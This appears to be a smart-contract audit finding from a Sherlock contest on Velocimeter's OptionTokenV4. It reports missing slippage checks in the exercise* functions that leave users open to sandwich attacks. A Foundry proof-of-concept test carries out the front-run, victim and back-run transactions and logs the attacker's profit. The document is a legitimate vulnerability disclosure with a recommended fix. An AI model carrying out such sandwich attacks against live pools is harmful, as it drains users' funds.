Although getPaymentTokenAmountForExerciseLp uses twap to calculate paymentAmount to ensure that the price is not manipulated, the calculation of paymentToken is still done using amount * paymentReserve / underlyingReserve, which does not use twap pricing.
Therefore, when users call exercise*, even though the paymentReserve (underlying Token) is checked, the paymentAmountToAddLiquidity (paymentToken) is not checked. Additionally, when calling addLiquidity, amountAMin and amountBMin are set to 1, making the paymentToken vulnerable to attacks.
cu5t0mPe0
High
When calling
exercise*
, it is vulnerable to a sandwich attackSummary
When calling
exercise*
, there is no slippage check, which makes users vulnerable to a sandwich attackVulnerability Detail
In the
OptionTokenV4.exercise*
functions, the slippage check only verifiespaymentAmount
but does not checkpaymentAmountToAddLiquidity
.https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/OptionTokenV4.sol#L580-L581
https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/OptionTokenV4.sol#L608-L609
https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/OptionTokenV4.sol#L667-L668
Although
getPaymentTokenAmountForExerciseLp
usestwap
to calculatepaymentAmount
to ensure that the price is not manipulated, the calculation ofpaymentToken
is still done usingamount * paymentReserve / underlyingReserve
, which does not usetwap
pricing.Therefore, when users call
exercise*
, even though thepaymentReserve
(underlying Token) is checked, thepaymentAmountToAddLiquidity
(paymentToken) is not checked. Additionally, when callingaddLiquidity
,amountAMin
andamountBMin
are set to 1, making thepaymentToken
vulnerable to attacks.Coded Poc
### OptionTokenV4.t.sol ```solidity function testSandWichExerciseLp() public { // init vm.startPrank(address(owner)); FLOW.approve(address(oFlowV4), TOKEN_1 * 10000000); oFlowV4.mint(address(owner2), 10000 * TOKEN_1); oFlowV4.mint(address(owner3), TOKEN_1); washTrades(); vm.stopPrank(); (uint256 underlyingReserve, uint256 paymentReserve) = router.getReserves(oFlowV4.underlyingToken(), oFlowV4.paymentToken(), false); console.log("underlingReserve:%d, paymentReserve:%d", underlyingReserve / 1e18, paymentReserve/1e18); console.log("DAI owner2:%d, owner3:%d", DAI.balanceOf(address(owner2))/1e18, DAI.balanceOf(address(owner3))/1e18); console.log("FLOW owner2:%d, owner3:%d", FLOW.balanceOf(address(owner2))/1e18, FLOW.balanceOf(address(owner3))/1e18); Router.route[] memory routes = new Router.route[](1); routes[0] = Router.route(address(DAI), address(FLOW), false); uint256[] memory expectedOutput = router.getAmountsOut( TOKEN_1, routes ); vm.startPrank(address(owner3)); FLOW.approve(address(router), type(uint256).max); DAI.approve(address(router), type(uint256).max); router.swapExactTokensForTokens( 10000 * TOKEN_1, 1, routes, address(owner3), block.timestamp ); vm.stopPrank(); console.log("----------- sandwich attack -----------"); (underlyingReserve, paymentReserve) = router.getReserves(oFlowV4.underlyingToken(), oFlowV4.paymentToken(), false); console.log("underlingReserve:%d, paymentReserve:%d", underlyingReserve / 1e18, paymentReserve/1e18); console.log("owner2:%d, owner3:%d", DAI.balanceOf(address(owner2))/1e18, DAI.balanceOf(address(owner3))/1e18); console.log("FLOW owner2:%d, owner3:%d", FLOW.balanceOf(address(owner2))/1e18, FLOW.balanceOf(address(owner3))/1e18); (uint256 flowAmount, uint256 daiAmount) = oFlowV4.getPaymentTokenAmountForExerciseLp(100000 * TOKEN_1, 80); console.log("----------- After sandwich attack -----------"); // owner2 call exerciseLp vm.startPrank(address(owner2)); DAI.approve(address(oFlowV4), type(uint256).max); oFlowV4.exerciseLp(10000 * TOKEN_1, 10000 * TOKEN_1, address(owner2), 80, block.timestamp); vm.stopPrank(); (underlyingReserve, paymentReserve) = router.getReserves(oFlowV4.underlyingToken(), oFlowV4.paymentToken(), false); console.log("underlingReserve:%d, paymentReserve:%d", underlyingReserve / 1e18, paymentReserve/1e18); console.log("owner2:%d, owner3:%d", DAI.balanceOf(address(owner2))/1e18, DAI.balanceOf(address(owner3))/1e18); console.log("FLOW owner2:%d, owner3:%d", FLOW.balanceOf(address(owner2))/1e18, FLOW.balanceOf(address(owner3))/1e18); console.log("----------- finsh sandwich attack -----------"); routes[0] = Router.route(address(FLOW), address(DAI), false); expectedOutput = router.getAmountsOut( TOKEN_1, routes ); vm.startPrank(address(owner3)); FLOW.approve(address(router), type(uint256).max); DAI.approve(address(router), type(uint256).max); uint[] memory amounts = router.swapExactTokensForTokens( 10000 * TOKEN_1, 1, routes, address(owner3), block.timestamp ); vm.stopPrank(); console.log("owner2:%d, owner3:%d", DAI.balanceOf(address(owner2))/1e18, DAI.balanceOf(address(owner3))/1e18); console.log("get DAI amount: %d", amounts[1]/1e18); // owner3 principal is 10000 DAI,result 11004 DAI /*result: Logs: underlingReserve:100299, paymentReserve:100300 DAI owner2:1000000000000, owner3:1000000000000 FLOW owner2:1000000000, owner3:1000000000 ----------- sandwich attack ----------- underlingReserve:91207, paymentReserve:110299 owner2:1000000000000, owner3:999999990000 FLOW owner2:1000000000, owner3:1000009092 DAI amount: 120932 ----------- After sandwich attack ----------- underlingReserve:101207, paymentReserve:122392 owner2:999999980632, owner3:999999990000 FLOW owner2:1000000000, owner3:1000009092 ----------- finsh sandwich attack ----------- owner2:999999980632, owner3:1000000001004 get DAI amount: 11004 */ } ```Impact
Users will lose a substantial amount of money.
Code Snippet
https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/OptionTokenV4.sol#L608-L609
https://github.com/sherlock-audit/2024-06-velocimeter/blob/63818925987a5115a80eff4bd12578146a844cfd/v4-contracts/contracts/OptionTokenV4.sol#L667-L668
Tool used
Manual Review
Recommendation
Slippage checks are also needed for the
paymentToken
.Duplicate of #199